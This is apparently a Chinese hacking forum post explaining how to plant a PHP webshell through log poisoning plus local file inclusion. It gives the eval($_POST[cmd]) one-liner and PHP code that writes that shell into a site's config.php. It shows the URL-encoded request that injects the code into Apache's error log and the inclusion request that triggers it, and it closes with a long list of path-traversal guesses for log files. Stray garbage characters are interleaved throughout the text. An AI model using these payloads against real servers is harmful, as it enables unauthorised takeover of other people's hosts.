php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

% N. A" w8 T; k( s比如还是这句一句话木马
: y( u! ^' L; F; U<?eval($_POST[cmd]);?>   
8 Q& f- a; D3 j0 q4 r  ?  x/ R
8 s/ B# p3 s+ V% b. v到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
! F7 N, A7 j+ N3 S, c! X* M, o
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句

我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
0 F. Z) l( x4 q/ ^9 `; W转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
. i  f% J" ^4 K6 G- K4 M我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
0 S: T& H5 Y/ D' T8 n9 Q; _6 I%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
( |4 q$ G! y$ c9 J%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
$ F0 J7 S0 J$ ~0 R+ q. g- c9 }- Gcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
0 V9 ^# R) j* d  Z9 }
3 U: N5 Y' `* K1 i2 L这样就错误日志里就记录下了这行写入webshell的代码。
& a2 }) H7 J- e! T; p7 P我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
7 h. B. \. \& d  z  U5 ]8 X  i  P
6 q8 J9 o0 F% p4 u# ]' L9 U这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
# ^# T( K. o& \
% _0 I5 d! h$ ?% {- |其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
, p9 s% u* J& P../../../apache/logs/error.log
../../../apache/logs/access.log
0 C% L6 c+ i: W  K! Z2 ~1 ?' y3 N../../../../../../../../../../etc/httpd/logs/acces_log
4 f1 Z, p/ p  j$ ?../../../../../../../../../../etc/httpd/logs/acces.log
. V6 m9 t! T$ S2 ?( ^* d../../../../../../../../../../etc/httpd/logs/error_log
, M" x5 |3 d2 R3 G+ B/ W' D../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
2 d6 ~1 I' C2 A  ]../../../../../../../../../../usr/local/apache/logs/access_log
/ S; p2 W! O: o. x" h# |' |8 T" C../../../../../../../../../../usr/local/apache/logs/access.log
1 G) ]. L4 Q* a4 Y# D& p. ]* n../../../../../../../../../../var/log/apache/access_log
. E! O! Q1 o7 P" \$ b../../../../../../../../../../var/log/apache/access.log
9 r# |+ x1 L) m../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
( t* c; ]4 d) w, J9 p/ r9 @../../../../../../../../../../usr/local/apache/logs/error_log
( o' @$ h" e! f, K! a2 v4 L3 a../../../../../../../../../../usr/local/apache/logs/error.log
9 X* I( w- Q  {../../../../../../../../../../var/log/apache/error_log
! X% A3 R* L8 J3 }! k' @../../../../../../../../../../var/log/apache/error.log
# I/ L# u, K0 ]. {( M../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
; {1 k  [& i8 Z: ^' C/var/log/httpd/access_log      
/var/log/httpd/error_log     
$ p- y, _, w9 t& L../apache/logs/error.log     
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
& s3 D% S9 Q$ n% w; I3 t/ `/etc/httpd/logs/error_log
0 l+ h" x9 b3 F, R4 t: g/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
' Z# S; |) O3 u8 Z0 H; u9 Z/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/ {& R+ `. r) z5 }/ U/var/log/apache/access_log
/var/log/apache/access.log
. @7 [! m$ v% H/ x+ `/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
, e$ e0 X0 y; M, H' f/var/log/apache/error_log
/var/log/apache/error.log
9 H. s' l2 S; M' q/ r' Q  _+ J& l/var/log/access_log
1 Z" a$ T5 F1 o. G/var/log/error_log